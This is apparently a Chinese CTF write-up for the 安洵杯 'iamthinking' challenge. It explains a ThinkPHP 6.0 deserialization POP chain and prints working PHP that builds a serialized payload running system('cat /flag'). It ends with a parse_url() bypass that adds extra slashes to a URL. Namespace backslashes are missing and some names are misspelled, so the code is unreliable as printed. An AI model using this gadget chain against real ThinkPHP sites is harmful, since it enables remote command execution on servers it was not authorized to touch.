安洵杯iamthinking tp6pop链
考点:
1.tp6.0反序列化链
2.parse_url()绕过
利用链:
前半部分利用链(tp6.0)
thinkModel --> __destruct()
thinkModel --> save()
thinkModel --> updateData()
thinkModel --> checkAllowFields()
后半部分利用链(同tp 5.2后半部分利用链)
thinkmodelconcernConversion --> __toString()
thinkmodelconcernConversion --> __toJson()
thinkmodelconcernConversion --> __toArray()
thinkmodelconcernAttribute --> getAttr()
thinkmodelconcernAttribute --> getValue()
tp6.0与tp5.2的后半部分利用链一样,但是官方和composer都找不到tp5.2的源码了,将就着看一下吧
首先入口点是在thinkModel::__destruct(),可以用全局搜索找到
令$this->lazySave=true,进入save()
要确保进入this->updateData,所以就不能让前面的成立
1.跟进isEmpty,令this->data不为空
2.跟进this->trigger,令this->withEvent=flase
3.令this->exits=true
满足条件进入updateData
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
......
// 检查允许字段
$allowFields = $this->checkAllowFields();
满足$data不为空,而data由getChangedData()得到,跟进,令this->force=true返回this->data
而前面isEmpty中已经定义过this->data不为空,那么data也不为空
进入checkAllowFields()
满足this->field与this->schema为空数组来到else下,看到拼接令this->table.this->suffix,令其中任意一个为类的实例即可触发tostring
最终跟据tp5.2的后半部分构造出pop链:
<?php
namespace thinkmodelconcern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["xxx" => "system"];
public function get()
{
$this->data = ["xxx" => "cat /flag"];
}
}
}
namespace think{
abstract class Model{
use modelconcernAttribute;
use modelconcernConversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
}
namespace thinkmodel{
use thinkModel;
class Pivot extends Model
{
function __construct($obj='')
{
//定义this->data不为空
parent::__construct();
$this->get();
$this->table = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
}
由于Model是一个抽象类,所以用他的子类Pivot,
由于modelconcernConversion是一个trait复用类,所以只要在Model下use即可
https://www.anquanke.com/post/id/187393#h2-1
最后就是parse_url绕过了
所以我们只要在public前加2个//构造成:
http://0d92fe62-e366-482d-a906-7f3b771fd060.node3.buuoj.cn///public/?payload=
这样导致url不合格但是路径依然正确,parse_url返回bool(false)即可绕过